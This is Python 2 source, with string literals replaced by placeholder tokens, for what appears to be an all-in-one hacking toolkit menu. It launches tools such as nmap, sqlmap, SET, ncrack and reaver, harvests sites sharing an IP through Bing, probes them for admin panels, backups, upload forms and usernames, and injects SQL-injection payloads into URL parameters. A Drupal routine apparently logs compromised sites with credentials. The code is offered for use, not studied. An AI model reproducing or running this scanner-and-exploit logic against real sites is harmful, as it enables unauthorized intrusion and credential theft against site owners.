<s> import sys <EOL> import os <EOL> import httplib <EOL> import subprocess <EOL> import re , urllib2 <EOL> import socket <EOL> import urllib , sys , json <EOL> from commands import * <EOL> from platform import system <EOL> from urlparse import urlparse <EOL> yes = set ( [ '<STR_LIT:yes>' , '<STR_LIT:y>' , '<STR_LIT>' , '<STR_LIT:Y>' ] ) <EOL> no = set ( [ '<STR_LIT>' , '<STR_LIT:n>' ] ) <EOL> def logo ( ) : <EOL> print """<STR_LIT>""" <EOL> def menu ( ) : <EOL> print ( """<STR_LIT>""" ) <EOL> choice = raw_input ( "<STR_LIT>" ) <EOL> if choice == "<STR_LIT:1>" : <EOL> info ( ) <EOL> elif choice == "<STR_LIT:2>" : <EOL> passwd ( ) <EOL> elif choice == "<STR_LIT:3>" : <EOL> wire ( ) <EOL> elif choice == "<STR_LIT:4>" : <EOL> exp ( ) <EOL> elif choice == "<STR_LIT:5>" : <EOL> snif ( ) <EOL> elif choice == "<STR_LIT>" : <EOL> tnn ( ) <EOL> elif choice == "<STR_LIT>" : <EOL> maine ( ) <EOL> elif choice == "<STR_LIT>" : <EOL> os . system ( '<STR_LIT>' ) , sys . exit ( ) ; <EOL> elif choice == "<STR_LIT>" : <EOL> menu ( ) <EOL> else : <EOL> menu ( ) <EOL> def h2ip ( ) : <EOL> host = raw_input ( "<STR_LIT>" ) <EOL> ips = socket . gethostbyname ( host ) <EOL> print ( ips ) <EOL> def ports ( ) : <EOL> os . system ( "<STR_LIT>" ) <EOL> target = raw_input ( '<STR_LIT>' ) <EOL> os . system ( "<STR_LIT>" % target ) <EOL> sys . exit ( ) ; <EOL> def ifinurl ( ) : <EOL> print """<STR_LIT>""" <EOL> print ( '<STR_LIT>' ) <EOL> cinurl = raw_input ( "<STR_LIT>" ) <EOL> if cinurl in yes : <EOL> inurl ( ) <EOL> if cinurl in no : <EOL> insinurl ( ) <EOL> elif cinurl == "<STR_LIT>" : <EOL> menu ( ) <EOL> else : <EOL> menu ( ) <EOL> def inurl ( ) : <EOL> dork = raw_input ( "<STR_LIT>" ) <EOL> output = raw_input ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" . format ( dork , output ) ) <EOL> if cinurl in no : <EOL> insinurl ( ) <EOL> elif cinurl == "<STR_LIT>" : <EOL> menu ( ) <EOL> else : <EOL> menu ( ) <EOL> def insinurl ( ) : <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> inurl ( ) <EOL> def nmap ( ) : <EOL> choice7 = raw_input ( "<STR_LIT>" ) <EOL> if choice7 in yes : <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> elif choice7 in no : <EOL> info ( ) <EOL> elif choice7 == "<STR_LIT>" : <EOL> menu ( ) <EOL> else : <EOL> menu ( ) <EOL> def jboss ( ) : <EOL> os . system ( '<STR_LIT>' ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> choice9 = raw_input ( "<STR_LIT>" ) <EOL> if choice9 in yes : <EOL> os . system ( "<STR_LIT>" ) , sys . exit ( ) ; <EOL> elif choice9 in no : <EOL> os . system ( '<STR_LIT>' ) ; exp ( ) <EOL> elif choice9 == "<STR_LIT>" : <EOL> menu ( ) <EOL> else : <EOL> menu ( ) <EOL> def sqlmap ( ) : <EOL> print ( "<STR_LIT>" ) <EOL> choice8 = raw_input ( "<STR_LIT>" ) <EOL> if choice8 in yes : <EOL> os . system ( "<STR_LIT>" ) <EOL> elif choice8 in no : <EOL> os . system ( '<STR_LIT>' ) ; info ( ) <EOL> elif choice8 == "<STR_LIT>" : <EOL> menu ( ) <EOL> else : <EOL> menu ( ) <EOL> def setoolkit ( ) : <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> choiceset = raw_input ( "<STR_LIT>" ) <EOL> if choiceset in yes : <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> if choiceset in no : <EOL> os . system ( "<STR_LIT>" ) ; info ( ) <EOL> elif choiceset == "<STR_LIT>" : <EOL> menu ( ) <EOL> else : <EOL> menu ( ) <EOL> def cupp ( ) : <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> choicecupp = raw_input ( "<STR_LIT>" ) <EOL> if choicecupp in yes : <EOL> os . system ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> elif choicecupp in no : <EOL> os . system ( "<STR_LIT>" ) ; passwd ( ) <EOL> elif choicecupp == "<STR_LIT>" : <EOL> menu ( ) <EOL> else : <EOL> menu ( ) <EOL> def ncrack ( ) : <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> choicencrack = raw_input ( "<STR_LIT>" ) <EOL> if choicencrack in yes : <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> elif choicencrack in no : <EOL> os . system ( "<STR_LIT>" ) ; passwd ( ) <EOL> elif choicencrack == "<STR_LIT>" : <EOL> menu ( ) <EOL> else : <EOL> menu ( ) <EOL> def reaver ( ) : <EOL> print """<STR_LIT>""" <EOL> creaver = raw_input ( "<STR_LIT>" ) <EOL> if creaver in yes : <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> elif creaver in no : <EOL> os . system ( "<STR_LIT>" ) ; wire ( ) <EOL> elif creaver == "<STR_LIT>" : <EOL> menu ( ) <EOL> else : <EOL> menu ( ) <EOL> def ssls ( ) : <EOL> print """<STR_LIT>""" <EOL> cssl = raw_input ( "<STR_LIT>" ) <EOL> if cssl in yes : <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> if cssl in no : <EOL> snif ( ) <EOL> elif cssl == "<STR_LIT>" : <EOL> menu ( ) <EOL> else : <EOL> menu ( ) <EOL> def shellnoob ( ) : <EOL> print """<STR_LIT>""" <EOL> cshell = raw_input ( "<STR_LIT>" ) <EOL> if cshell in yes : <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> os . system ( "<STR_LIT>" ) <EOL> if cshell in no : <EOL> exp ( ) <EOL> elif cshell == "<STR_LIT>" : <EOL> menu ( ) <EOL> else : <EOL> menu ( ) <EOL> def info ( ) : <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> choice2 = raw_input ( "<STR_LIT>" ) <EOL> if choice2 == "<STR_LIT:1>" : <EOL> os . system ( '<STR_LIT>' ) ; nmap ( ) <EOL> if choice2 == "<STR_LIT:2>" : <EOL> os . system ( "<STR_LIT>" ) ; setoolkit ( ) <EOL> if choice2 == "<STR_LIT:3>" : <EOL> os . system ( "<STR_LIT>" ) ; ports ( ) <EOL> if choice2 == "<STR_LIT:4>" : <EOL> os . system ( "<STR_LIT>" ) ; h2ip ( ) <EOL> elif choice2 == "<STR_LIT>" : <EOL> os . system ( "<STR_LIT>" ) ; menu ( ) <EOL> elif choice2 == "<STR_LIT>" : <EOL> menu ( ) <EOL> else : <EOL> menu ( ) <EOL> def priv8 ( ) : <EOL> tnn ( ) <EOL> def passwd ( ) : <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> choice3 = raw_input ( "<STR_LIT>" ) <EOL> if choice3 == "<STR_LIT:1>" : <EOL> os . system ( "<STR_LIT>" ) ; cupp ( ) <EOL> elif choice3 == "<STR_LIT:2>" : <EOL> os . system ( "<STR_LIT>" ) ; ncrack ( ) <EOL> elif choice3 == "<STR_LIT>" : <EOL> os . system ( "<STR_LIT>" ) ; menu ( ) <EOL> elif choice3 == "<STR_LIT>" : <EOL> menu ( ) <EOL> else : <EOL> menu ( ) <EOL> def wire ( ) : <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> choice4 = raw_input ( "<STR_LIT>" ) <EOL> if choice4 == "<STR_LIT:1>" : <EOL> os . system ( "<STR_LIT>" ) ; reaver ( ) <EOL> elif choice4 == "<STR_LIT>" : <EOL> menu ( ) <EOL> elif choice4 == "<STR_LIT>" : <EOL> menu ( ) <EOL> else : <EOL> menu ( ) <EOL> def exp ( ) : <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> choice5 = raw_input ( "<STR_LIT>" ) <EOL> if choice5 == "<STR_LIT:2>" : <EOL> os . system ( "<STR_LIT>" ) ; sqlmap ( ) <EOL> if choice5 == "<STR_LIT:1>" : <EOL> os . system ( '<STR_LIT>' ) ; jboss ( ) <EOL> if choice5 == "<STR_LIT:3>" : <EOL> os . system ( "<STR_LIT>" ) ; shellnoob ( ) <EOL> if choice5 == "<STR_LIT:4>" : <EOL> os . system ( "<STR_LIT>" ) ; ifinurl ( ) <EOL> elif choice5 == "<STR_LIT>" : <EOL> menu ( ) <EOL> elif choice5 == "<STR_LIT>" : <EOL> menu ( ) <EOL> else : <EOL> menu ( ) <EOL> def snif ( ) : <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> choice6 = raw_input ( "<STR_LIT>" ) <EOL> if choice6 == "<STR_LIT:1>" : <EOL> os . system ( "<STR_LIT>" ) ; setoolkit ( ) <EOL> if choice6 == "<STR_LIT:2>" : <EOL> os . system ( "<STR_LIT>" ) ; ssls ( ) <EOL> if choice6 == "<STR_LIT>" : <EOL> os . system ( "<STR_LIT>" ) ; menu ( ) <EOL> elif choice6 == "<STR_LIT>" : <EOL> menu ( ) <EOL> else : <EOL> menu ( ) <EOL> def win ( ) : <EOL> os . system ( "<STR_LIT>" ) <EOL> print ( "<STR_LIT>" ) <EOL> sys . exit ( ) ; <EOL> def OS ( ) : <EOL> print ( <EOL> """<STR_LIT>""" ) <EOL> system = raw_input ( "<STR_LIT>" ) <EOL> if system == "<STR_LIT:2>" : <EOL> menu ( ) <EOL> elif system == "<STR_LIT:1>" : <EOL> root ( ) <EOL> elif system == "<STR_LIT:3>" : <EOL> win ( ) <EOL> elif system == "<STR_LIT>" : <EOL> OS ( ) <EOL> else : <EOL> sys . exit ( ) ; <EOL> def root ( ) : <EOL> if os . getuid ( ) != <NUM_LIT:0> : <EOL> print ( "<STR_LIT>" ) <EOL> exit ( ) <EOL> else : <EOL> menu ( ) <EOL> menuu = """<STR_LIT>""" <EOL> def unique ( seq ) : <EOL> """<STR_LIT>""" <EOL> seen = set ( ) <EOL> return [ seen . add ( x ) or x for x in seq if x not in seen ] <EOL> def clearScr ( ) : <EOL> """<STR_LIT>""" <EOL> if system ( ) == '<STR_LIT>' : <EOL> os . system ( '<STR_LIT>' ) <EOL> if system ( ) == '<STR_LIT>' : <EOL> os . system ( '<STR_LIT>' ) <EOL> class TNscan : <EOL> def __init__ ( self , serverip ) : <EOL> self . serverip = serverip <EOL> self . getSites ( False ) <EOL> print menuu <EOL> while True : <EOL> choice = raw_input ( '<STR_LIT>' ) <EOL> if choice == '<STR_LIT:1>' : <EOL> self . getSites ( True ) <EOL> elif choice == '<STR_LIT:2>' : <EOL> self . getJoomla ( ) <EOL> elif choice == '<STR_LIT:3>' : <EOL> self . getWordpress ( ) <EOL> elif choice == '<STR_LIT:4>' : <EOL> self . findPanels ( ) <EOL> elif choice == '<STR_LIT:5>' : <EOL> self . findZip ( ) <EOL> elif choice == '<STR_LIT>' : <EOL> self . findUp ( ) <EOL> elif choice == '<STR_LIT>' : <EOL> self . getUsers ( ) <EOL> elif choice == '<STR_LIT>' : <EOL> self . grabSqli ( ) <EOL> elif choice == '<STR_LIT>' : <EOL> nbpages = int ( raw_input ( '<STR_LIT>' ) ) <EOL> self . crawlSqli ( nbpages ) <EOL> elif choice == '<STR_LIT>' : <EOL> ran = raw_input ( '<STR_LIT>' ) <EOL> self . portScanner ( <NUM_LIT:1> , ran ) <EOL> elif choice == '<STR_LIT>' : <EOL> self . portScanner ( <NUM_LIT:2> , None ) <EOL> elif choice == '<STR_LIT>' : <EOL> self . getServerBanner ( ) <EOL> elif choice == '<STR_LIT>' : <EOL> self . cloudflareBypasser ( ) <EOL> elif choice == '<STR_LIT>' : <EOL> print '<STR_LIT>' <EOL> exit ( ) <EOL> con = raw_input ( '<STR_LIT>' ) <EOL> if con [ <NUM_LIT:0> ] . upper ( ) == '<STR_LIT:N>' : <EOL> exit ( ) <EOL> else : <EOL> clearScr ( ) <EOL> print menuu <EOL> def getSites ( self , a ) : <EOL> """<STR_LIT>""" <EOL> lista = [ ] <EOL> page = <NUM_LIT:1> <EOL> while page <= <NUM_LIT> : <EOL> try : <EOL> bing = "<STR_LIT>" + self . serverip + "<STR_LIT>" + str ( page ) <EOL> openbing = urllib2 . urlopen ( bing ) <EOL> readbing = openbing . read ( ) <EOL> findwebs = re . findall ( '<STR_LIT>' , readbing ) <EOL> for i in range ( len ( findwebs ) ) : <EOL> allnoclean = findwebs [ i ] <EOL> findall1 = re . findall ( '<STR_LIT>' , allnoclean ) <EOL> for idx , item in enumerate ( findall1 ) : <EOL> if '<STR_LIT>' not in item : <EOL> findall1 [ idx ] = '<STR_LIT>' + item + '<STR_LIT:/>' <EOL> else : <EOL> findall1 [ idx ] = '<STR_LIT>' + item + '<STR_LIT:/>' <EOL> lista . extend ( findall1 ) <EOL> page += <NUM_LIT:50> <EOL> except urllib2 . URLError : <EOL> pass <EOL> self . sites = unique ( lista ) <EOL> if a : <EOL> clearScr ( ) <EOL> print '<STR_LIT>' , len ( lista ) , '<STR_LIT>' <EOL> for site in self . sites : <EOL> print site <EOL> def getWordpress ( self ) : <EOL> """<STR_LIT>""" <EOL> lista = [ ] <EOL> page = <NUM_LIT:1> <EOL> while page <= <NUM_LIT> : <EOL> try : <EOL> bing = "<STR_LIT>" + self . serverip + "<STR_LIT>" + str ( page ) <EOL> openbing = urllib2 . urlopen ( bing ) <EOL> readbing = openbing . read ( ) <EOL> findwebs = re . findall ( '<STR_LIT>' , readbing ) <EOL> for i in range ( len ( findwebs ) ) : <EOL> wpnoclean = findwebs [ i ] <EOL> findwp = re . findall ( '<STR_LIT>' , wpnoclean ) <EOL> lista . extend ( findwp ) <EOL> page += <NUM_LIT:50> <EOL> except : <EOL> pass <EOL> lista = unique ( lista ) <EOL> clearScr ( ) <EOL> print '<STR_LIT>' , len ( lista ) , '<STR_LIT>' <EOL> for site in lista : <EOL> print site <EOL> def getJoomla ( self ) : <EOL> """<STR_LIT>""" <EOL> lista = [ ] <EOL> page = <NUM_LIT:1> <EOL> while page <= <NUM_LIT> : <EOL> bing = "<STR_LIT>" + self . serverip + "<STR_LIT>" + str ( page ) <EOL> openbing = urllib2 . urlopen ( bing ) <EOL> readbing = openbing . read ( ) <EOL> findwebs = re . findall ( '<STR_LIT>' , readbing ) <EOL> for i in range ( len ( findwebs ) ) : <EOL> jmnoclean = findwebs [ i ] <EOL> findjm = re . findall ( '<STR_LIT>' , jmnoclean ) <EOL> lista . extend ( findjm ) <EOL> page += <NUM_LIT:50> <EOL> lista = unique ( lista ) <EOL> clearScr ( ) <EOL> print '<STR_LIT>' , len ( lista ) , '<STR_LIT>' <EOL> for site in lista : <EOL> print site <EOL> def findPanels ( self ) : <EOL> """<STR_LIT>""" <EOL> print "<STR_LIT>" <EOL> adminList = [ '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ] <EOL> clearScr ( ) <EOL> for site in self . sites : <EOL> for admin in adminList : <EOL> try : <EOL> if urllib . urlopen ( site + admin ) . getcode ( ) == <NUM_LIT:200> : <EOL> print "<STR_LIT>" , site + admin <EOL> except IOError : <EOL> pass <EOL> def findZip ( self ) : <EOL> """<STR_LIT>""" <EOL> zipList = [ '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ] <EOL> clearScr ( ) <EOL> print "<STR_LIT>" <EOL> for site in self . sites : <EOL> for zip1 in zipList : <EOL> try : <EOL> if urllib . urlopen ( site + zip1 ) . getcode ( ) == <NUM_LIT:200> : <EOL> print "<STR_LIT>" , site + zip1 <EOL> except IOError : <EOL> pass <EOL> def findUp ( self ) : <EOL> """<STR_LIT>""" <EOL> upList = [ '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ] <EOL> clearScr ( ) <EOL> print "<STR_LIT>" <EOL> for site in self . sites : <EOL> for up in upList : <EOL> try : <EOL> if ( urllib . urlopen ( site + up ) . getcode ( ) == <NUM_LIT:200> ) : <EOL> html = urllib . urlopen ( site + up ) . readlines ( ) <EOL> for line in html : <EOL> if re . findall ( '<STR_LIT>' , line ) : <EOL> print "<STR_LIT>" , site + up <EOL> except IOError : <EOL> pass <EOL> def getUsers ( self ) : <EOL> """<STR_LIT>""" <EOL> clearScr ( ) <EOL> print "<STR_LIT>" <EOL> userslist = [ ] <EOL> for site1 in self . sites : <EOL> try : <EOL> site = site1 <EOL> site = site . replace ( '<STR_LIT>' , '<STR_LIT>' ) <EOL> site = site . replace ( '<STR_LIT>' , '<STR_LIT>' ) <EOL> site = site . replace ( '<STR_LIT:.>' , '<STR_LIT>' ) <EOL> if '<STR_LIT:->' in site : <EOL> site = site . replace ( '<STR_LIT:->' , '<STR_LIT>' ) <EOL> site = site . replace ( '<STR_LIT:/>' , '<STR_LIT>' ) <EOL> while len ( site ) > <NUM_LIT:2> : <EOL> resp = urllib2 . urlopen ( site1 + '<STR_LIT>' % site ) . read ( ) <EOL> if '<STR_LIT>' not in resp . lower ( ) : <EOL> print '<STR_LIT>' , site <EOL> userslist . append ( site ) <EOL> break <EOL> else : <EOL> print site <EOL> site = site [ : - <NUM_LIT:1> ] <EOL> except : <EOL> pass <EOL> clearScr ( ) <EOL> for user in userslist : <EOL> print user <EOL> def cloudflareBypasser ( self ) : <EOL> """<STR_LIT>""" <EOL> clearScr ( ) <EOL> print "<STR_LIT>" <EOL> subdoms = [ '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' , '<STR_LIT>' ] <EOL> for site in self . sites : <EOL> site . replace ( '<STR_LIT>' , '<STR_LIT>' ) <EOL> site . replace ( '<STR_LIT:/>' , '<STR_LIT>' ) <EOL> try : <EOL> ip = socket . gethostbyname ( site ) <EOL> except socket . error : <EOL> pass <EOL> for sub in subdoms : <EOL> doo = sub + '<STR_LIT:.>' + site <EOL> print '<STR_LIT>' , doo <EOL> try : <EOL> ddd = socket . gethostbyname ( doo ) <EOL> if ddd != ip : <EOL> print '<STR_LIT>' , ddd <EOL> break <EOL> except socket . error : <EOL> pass <EOL> def getServerBanner ( self ) : <EOL> """<STR_LIT>""" <EOL> clearScr ( ) <EOL> try : <EOL> s = '<STR_LIT>' + self . serverip <EOL> httpresponse = urllib . urlopen ( s ) <EOL> print '<STR_LIT>' , httpresponse . headers . getheader ( '<STR_LIT>' ) <EOL> except : <EOL> pass <EOL> def grabSqli ( self ) : <EOL> """<STR_LIT>""" <EOL> page = <NUM_LIT:1> <EOL> lista = [ ] <EOL> while page <= <NUM_LIT> : <EOL> try : <EOL> bing = "<STR_LIT>" + self . serverip + "<STR_LIT>" + str ( page ) <EOL> openbing = urllib2 . urlopen ( bing ) <EOL> readbing = openbing . read ( ) <EOL> findwebs = re . findall ( '<STR_LIT>' , readbing ) <EOL> for i in range ( len ( findwebs ) ) : <EOL> x = findwebs [ i ] <EOL> lista . append ( x ) <EOL> except : <EOL> pass <EOL> page += <NUM_LIT:50> <EOL> lista = unique ( lista ) <EOL> self . checkSqli ( lista ) <EOL> def checkSqli ( self , s ) : <EOL> """<STR_LIT>""" <EOL> clearScr ( ) <EOL> print "<STR_LIT>" <EOL> payloads = [ "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" ] <EOL> check = re . compile ( "<STR_LIT>" , re . I ) <EOL> for url in s : <EOL> try : <EOL> for param in url . split ( '<STR_LIT:?>' ) [ <NUM_LIT:1> ] . split ( '<STR_LIT:&>' ) : <EOL> for payload in payloads : <EOL> power = url . replace ( param , param + payload . strip ( ) ) <EOL> html = urllib2 . urlopen ( power ) . readlines ( ) <EOL> for line in html : <EOL> checker = re . findall ( check , line ) <EOL> if len ( checker ) != <NUM_LIT:0> : <EOL> print '<STR_LIT>' , power <EOL> except : <EOL> pass <EOL> def crawlSqli ( self , nbpages ) : <EOL> """<STR_LIT>""" <EOL> import chilkat <EOL> spider = chilkat . CkSpider ( ) <EOL> for url in self . sites : <EOL> spidred = [ ] <EOL> print "<STR_LIT>" , url <EOL> spider . Initialize ( url ) <EOL> i = <NUM_LIT:0> <EOL> for i in range ( nbpages ) : <EOL> if spider . CrawlNext ( ) : <EOL> spidred . append ( spider . lastUrl ( ) ) <EOL> print "<STR_LIT>" , spidred <EOL> print "<STR_LIT>" , url , "<STR_LIT>" <EOL> self . checkSqli ( spidred ) <EOL> def portScanner ( self , mode , ran ) : <EOL> """<STR_LIT>""" <EOL> clearScr ( ) <EOL> print "<STR_LIT>" <EOL> def do_it ( ip , port ) : <EOL> sock = socket . socket ( socket . AF_INET , socket . SOCK_STREAM ) <EOL> sock = sock . connect_ex ( ( ip , port ) ) <EOL> if sock == <NUM_LIT:0> : <EOL> print "<STR_LIT>" % port <EOL> if mode == <NUM_LIT:1> : <EOL> a = ran . split ( '<STR_LIT:->' ) <EOL> start = int ( a [ <NUM_LIT:0> ] ) <EOL> end = int ( a [ <NUM_LIT:1> ] ) <EOL> for i in range ( start , end ) : <EOL> do_it ( self . serverip , i ) <EOL> elif mode == <NUM_LIT:2> : <EOL> for port in [ <NUM_LIT> , <NUM_LIT> , <NUM_LIT> , <NUM_LIT> , <NUM_LIT> , <NUM_LIT> , <NUM_LIT> , <NUM_LIT> , <NUM_LIT> ] : <EOL> do_it ( self . serverip , port ) <EOL> minu = '''<STR_LIT>''' <EOL> def drupal ( ) : <EOL> '''<STR_LIT>''' <EOL> ip = raw_input ( '<STR_LIT>' ) <EOL> page = <NUM_LIT:1> <EOL> while page <= <NUM_LIT:50> : <EOL> url = "<STR_LIT>" + ip + "<STR_LIT>" + ip + "<STR_LIT>" + str ( page ) <EOL> req = urllib2 . Request ( url ) <EOL> opreq = urllib2 . urlopen ( req ) . read ( ) <EOL> findurl = re . findall ( '<STR_LIT>' , opreq ) <EOL> page += <NUM_LIT:1> <EOL> for url in findurl : <EOL> try : <EOL> urlpa = urlparse ( url ) <EOL> site = urlpa . netloc <EOL> print "<STR_LIT>" + site <EOL> resp = urllib2 . urlopen ( '<STR_LIT>' + site + '<STR_LIT>' ) <EOL> read = resp . read ( ) <EOL> if "<STR_LIT>" in read : <EOL> print "<STR_LIT>" + site <EOL> print "<STR_LIT>" <EOL> a = open ( '<STR_LIT>' , '<STR_LIT:a>' ) <EOL> a . write ( site + '<STR_LIT:\n>' ) <EOL> a . write ( "<STR_LIT>" + user + "<STR_LIT>" + pwd + "<STR_LIT:\n>" ) <EOL> else : <EOL> print "<STR_LIT>" <EOL> except Exception as ex : <EOL> print ex <EOL> sys . exit ( <NUM_LIT:0> ) <EOL> def getdrupal ( ) : <EOL> ip = raw_input ( '<STR_LIT>' ) <EOL> page = <NUM_LIT:1> <EOL> sites = list ( ) <EOL> while page <= <NUM_LIT:50> : <EOL> url = "<STR_LIT>" + ip + "<STR_LIT>" + str ( page ) <EOL> req = urllib2 . Request ( url ) <EOL> opreq = urllib2 . urlopen ( req ) . read ( ) <EOL> findurl = re . findall ( '<STR_LIT>' , opreq ) <EOL> page += <NUM_LIT:1> <EOL> for url in findurl : <EOL> split = urlparse ( url ) <EOL> site = split . netloc <EOL> if site not in sites : <EOL> print site <EOL> sites . append ( site ) <EOL> def drupallist ( ) : <EOL> listop = raw_input ( "<STR_LIT>" ) <EOL> fileopen = open ( listop , '<STR_LIT:r>' ) <EOL> content = fileopen . readlines ( ) <EOL> for i in content : <EOL> url = i . strip ( ) <EOL> try : <EOL> openurl = urllib2 . urlopen ( '<STR_LIT>' + url + '<STR_LIT>' ) <EOL> readcontent = openurl . read ( ) <EOL> if "<STR_LIT>" in readcontent : <EOL> print "<STR_LIT>" + url <EOL> print "<STR_LIT>" <EOL> save = open ( '<STR_LIT>' , '<STR_LIT:a>' ) <EOL> save . write ( url + "<STR_LIT:\n>" + "<STR_LIT>" ) <EOL> else : <EOL> print i + "<STR_LIT>" <EOL> except Exception as ex : <EOL> print ex <EOL> def maine ( ) : <EOL> print minu <EOL> choose = raw_input ( "<STR_LIT>" ) <EOL> while True : <EOL> if choose == "<STR_LIT:1>" : <EOL> drupal ( ) <EOL> if choose == "<STR_LIT:2>" : <EOL> getdrupal ( ) <EOL> if choose == "<STR_LIT:3>" : <EOL> drupallist ( ) <EOL> if choose == "<STR_LIT:4>" : <EOL> about ( ) <EOL> if choose == "<STR_LIT>" : <EOL> menu ( ) <EOL> con = raw_input ( '<STR_LIT>' ) <EOL> if con [ <NUM_LIT:0> ] . upper ( ) == '<STR_LIT:N>' : <EOL> exit ( ) <EOL> if con [ <NUM_LIT:0> ] . upper ( ) == '<STR_LIT:Y>' : <EOL> maine ( ) <EOL> class tnn ( ) : <EOL> def __init__ ( self ) : <EOL> clearScr ( ) <EOL> aaa = raw_input ( "<STR_LIT>" ) <EOL> TNscan ( aaa ) <EOL> if __name__ == "<STR_LIT:__main__>" : <EOL> OS ( ) </s>
